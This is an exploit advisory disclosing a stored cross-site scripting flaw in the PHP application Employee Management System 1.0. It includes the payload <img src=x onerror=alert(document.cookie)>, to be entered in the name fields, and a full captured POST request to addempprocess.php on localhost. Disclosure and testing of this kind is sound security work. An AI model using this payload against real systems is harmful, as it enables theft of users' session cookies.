Employee Management System 1.0 - Cross Site Scripting (Stored) Vulnerability

#Exploit Title: Employee Management System 1.0 - Stored Cross Site Scripting
#Exploit Author: Ankita Pal
#Vendor Homepage: https://www.sourcecodester.com/php/14432/employee-management-system-using-php.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/employee-management-system.zip
#Version: 1.0
#Tested on: Windows 10 + xampp v3.2.4
 
 
Proof of Concept:::
 
Step 1: Open the URL localhost:8081/Employee Management System/addemp.php
 
Step 2: Use payload <img src=x onerror=alert(document.cookie)> in First Name and Last Name.
 
 
Malicious Request:::
 
POST /Employee%20Management%20System/////process/addempprocess.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3267707159765331982713791736
Content-Length: 1571
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/Employee%20Management%20System/////addemp.php
Cookie: PHPSESSID=infdfigld4et4jndfgbn33kcsv
Upgrade-Insecure-Requests: 1
 
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="firstName"
 
<img src=x onerror=alert(document.cookie)>
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="lastName"
 
<img src=x onerror=alert(document.cookie)>
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="email"
 
[email protected]
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="birthday"
 
2020-09-28
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="gender"
 
Female
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="contact"
 
9876543211
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="nid"
 
12
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="address"
 
Gujarat
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="dept"
 
CS
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="degree"
 
BE
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="salary"
 
 
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
 
 
-----------------------------3267707159765331982713791736--
 
 
Cookie will be reflected on View Employee.
 
#  0day.today [2020-10-17]  #